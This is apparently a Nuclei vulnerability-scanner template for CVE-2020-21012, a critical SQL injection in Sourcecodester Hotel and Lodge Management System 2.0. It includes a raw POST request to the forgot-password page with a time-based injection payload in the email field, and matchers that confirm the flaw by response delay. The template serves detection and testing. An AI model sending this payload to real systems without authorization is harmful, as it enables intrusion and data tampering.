id: CVE-2020-21012

info:
  name: Sourcecodester Hotel and Lodge Management System 2.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    Sourcecodester Hotel and Lodge Management System 2.0 contains a SQL injection vulnerability via the email parameter to the edit page for Customer, Room, Currency, Room Booking Details, or Tax Details. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://github.com/hitIer/web_test/tree/master/hotel
    - https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-21012
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-21012
    cwe-id: CWE-89
    cpe: cpe:2.3:a:hotel_and_lodge_booking_management_system_project:hotel_and_lodge_booking_management_system:*:*:*:*:*:*:*:*
    epss-score: 0.02586
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2020,hotel,sqli,unauth

http:
  - raw:
      - |
        POST /forgot_password.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        btn_forgot=1&email=1%27%20or%20sleep(6)%23

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "Hotel Booking System")'
        condition: and